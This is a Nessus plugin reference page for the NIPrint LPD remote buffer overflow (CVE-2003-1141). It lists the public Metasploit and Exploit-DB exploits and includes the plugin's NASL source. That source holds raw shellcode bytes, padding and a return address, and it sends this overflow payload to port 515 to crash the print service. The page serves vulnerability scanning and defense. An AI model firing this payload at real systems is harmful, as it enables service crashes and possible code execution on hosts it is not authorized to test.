NIPrint LPD-LPR Print Server String Handling Remote Overflow - Nessus

High   Plugin ID: 11926

This page contains detailed information about the NIPrint LPD-LPR Print Server String Handling Remote Overflow Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 11926
Name: NIPrint LPD-LPR Print Server String Handling Remote Overflow
Filename: niprint_dos.nasl
Vulnerability Published: 2003-11-05
This Plugin Published: 2003-11-17
Last Modification Time: 2018-07-16
Plugin Version: 1.17
Plugin Type: remote
Plugin Family: Denial of Service
Dependencies: None

Vulnerability Information


Severity: High
Vulnerability Published: 2003-11-05
Patch Published: N/A
CVE [?]: CVE-2003-1141
CPE [?]: N/A

Synopsis

Arbitrary code may be run on the remote host.

Description

A vulnerability in the NIPrint could allow an attacker to remotely overflow an internal buffer which could allow code execution.

Solution

None, Contact the vendor: http://www.networkinstruments.com/products/niprint.html

Public Exploits


Target Network Port(s): N/A
Target Asset(s): N/A
Exploit Available: True (Metasploit Framework, Exploit-DB, Immunity Canvas)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the NIPrint LPD-LPR Print Server String Handling Remote Overflow vulnerability:

  1. Metasploit: exploit/windows/lpd/niprint
    [NIPrint LPD Request Overflow]
  2. Exploit-DB: exploits/windows/remote/16336.rb
    [EDB-16336: NIPrint LPD - Request Overflow (Metasploit)]
  3. Immunity Canvas: CANVAS

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)

Go back to menu.

Plugin Source


This is the niprint_dos.nasl nessus plugin source code. This script is Copyright (C) 2003-2011 Matt North

#

include("compat.inc");

if(description) 
{ 
	script_id(11926); 
	script_version("1.17");
	script_cve_id("CVE-2003-1141");
	script_bugtraq_id(8968);
        
	script_name(english:"NIPrint LPD-LPR Print Server String Handling Remote Overflow");

 script_set_attribute(attribute:"synopsis", value:
"Arbitrary code may be run on the remote host." );
 script_set_attribute(attribute:"description", value:
"A vulnerability in the NIPrint could allow an attacker to remotely 
overflow an internal buffer which could allow code execution." );
 script_set_attribute(attribute:"solution", value:
"None, Contact the vendor:
 http://www.networkinstruments.com/products/niprint.html" );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"metasploit_name", value:'NIPrint LPD Request Overflow');
 script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
 script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
 script_set_attribute(attribute:"canvas_package", value:'CANVAS');

 script_set_attribute(attribute:"plugin_publication_date", value: "2003/11/17");
 script_set_attribute(attribute:"vuln_publication_date", value: "2003/11/05");
 script_cvs_date("Date: 2018/07/16 14:09:13");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();

        script_summary(english:"Checks for vulnerable NIPrint");
	script_category(ACT_DENIAL);
	script_copyright(english:"This script is Copyright (C) 2003-2011 Matt North");
	script_family(english:"Denial of Service");

	exit(0);
}

include("global_settings.inc");
include("misc_func.inc");

port = 515;
if (! get_port_state(port)) exit(0);

r = raw_string( 0x90,0xCC,0x90,0x90,0x90,0x90,0x8B,0xEC,0x55,0x8B,0xEC,0x33,0xFF,0x57,0x83,0xEC,0x04,0xC6,0x45,0xF8,0x63
,0xC6, 0x45, 0xF9, 0x6D,0xC6,0x45,0xFA,0x64,0xC6,0x45,0xFB,0x2E,0xC6,0x45,0xFC,0x65,0xC6,0x45,0xFD,0x78,
0xC6,0x45,0xFE,0x65,0xB8,0xC3,0xAF,0x01,0x78,0x50,0x8D,0x45,0xF8,0x50,0xFF,0x55,0xF4,0x5F);

r1 = raw_string( 0xCC, 0x83,0xC4,0x04, 0xFF,0xE4);
r2 = string(crap(43));
r3 = raw_string( 0xcb, 0x50, 0xf9, 0x77);
bo = r + r1 + r2 + r3;

soc = open_priv_sock_tcp(dport: port);
if (!soc) exit(1);

send(socket:soc,data:bo);

close(soc);

if (service_is_dead(port: port) > 0)
  security_hole(port);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/niprint_dos.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\niprint_dos.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/niprint_dos.nasl

Go back to menu.

How to Run


Here is how to run the NIPrint LPD-LPR Print Server String Handling Remote Overflow as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select Denial of Service plugin family.
  6. On the right side table select NIPrint LPD-LPR Print Server String Handling Remote Overflow plugin ID 11926.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl niprint_dos.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a niprint_dos.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - niprint_dos.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state niprint_dos.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 11563 - Oracle Net Services CREATE DATABASE LINK Query Overflow
  • 11575 - Kerio Personal Firewall Administrator Authentication Handshake Packet Remote Buffer Overflow
  • 11593 - SLMail < 5.1.0.4433 Multiple Command Remote Overflows
  • 11642 - Helix Servers View Source Plug-in RTSP Parser Overflow
  • 11664 - Microsoft Media Services ISAPI nsiislog.dll Multiple Overflows
  • 11705 - LeapFTP < 2.7.4.x PASV Reply Remote Overflow
  • 117305 - FreeBSD : curl -- password overflow vulnerability (f4d638b9-e6e5-4dbe-8c70-571dbc116174)
  • 11755 - CesarFTP Multiple Vulnerabilities (OF, File Access, more)
  • 11784 - Abyss Web Server GET Request Multiple Vulnerabilities
  • 11809 - mod_mylo for Apache mylo_log Logging Function HTTP GET Overflow
  • 11838 - Sendmail < 8.12.10 prescan() Function Remote Overflow
  • 11843 - LSH Daemon < 1.4.3 / 1.5.3 lshd Remote Overflow
  • 11857 - ISC BIND < 4.9.11 stub resolver (libresolv.a) DNS Response Overflow
  • 118846 - GLSA-201811-02 : Python: Buffer overflow
  • 11889 - Exchange XEXCH50 Remote Buffer Overflow
  • 11921 - MS03-049: Buffer Overflow in the Workstation Service (828749)
  • 11923 - Microsoft FrontPage Server Extensions (fp30reg.dll) Debug Function Remote Overflow (MS03-051 / 813360)
  • 11943 - rsync < 2.5.7 Unspecified Remote Heap Overflow
  • 12037 - Serv-U SITE CHMOD Command Multiple Vulnerabilities
  • 12047 - Oracle Database 9i Multiple Functions Local Overflow
  • 12065 - ASN.1 Multiple Integer Overflows (SMTP check)
  • 12080 - Serv-U MDTM Command Overflow
  • 122033 - Apache OpenOffice < 4.1.6 Virtual Table Arithmetic Overflow
  • 12240 - CVS pserver Line Entry Handling Overflow
  • 12261 - Subversion < 1.0.3 apr_time_t data Conversion Remote Overflow
  • 12285 - Unreal Engine Secure Query Remote Overflow
  • 12294 - Squid ntlm_check_auth Function NTLM Authentication Helper Password Handling Remote Overflow
  • 123079 - Palo Alto Networks < 7.1.23 / 8.0.x < 8.0.16 / 8.1.x < 8.1.7 Integer Overflow Vulnerability (PAN-SA-2019-0006)
  • 124062 - SolarWinds DameWare Mini Remote Client Agent < 12.0.3 Stack Buffer Overflow
  • 12530 - FreeBSD : SA-04:10.cvs
  • 125886 - Fortinet FortiOS <= 5.4, 5.6.x < 5.6.8, 6.0.x < 6.0.5 SSL VPN Buffer Overflow (FG-IR-18-387)
  • 125887 - Fortinet FortiOS < 5.6.11, 6.0.x < 6.0.5 SSL VPN Heap Buffer Overflow (FG-IR-18-388)
  • 125892 - Fortinet FortiOS (Mac OS X) <= 5.4, 5.6.x < 5.6.8, 6.0.x < 6.0.5 SSL VPN Buffer Overflow (FG-IR-18-387) (deprecated)
  • 125893 - Fortinet FortiOS (Mac OS X) < 5.6.11, 6.0.x < 6.0.5 SSL VPN Heap Buffer Overflow (FG-IR-18-388) (deprecated)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file niprint_dos.nasl version 1.17. For more plugins, visit the Nessus Plugin Library.

Go back to menu.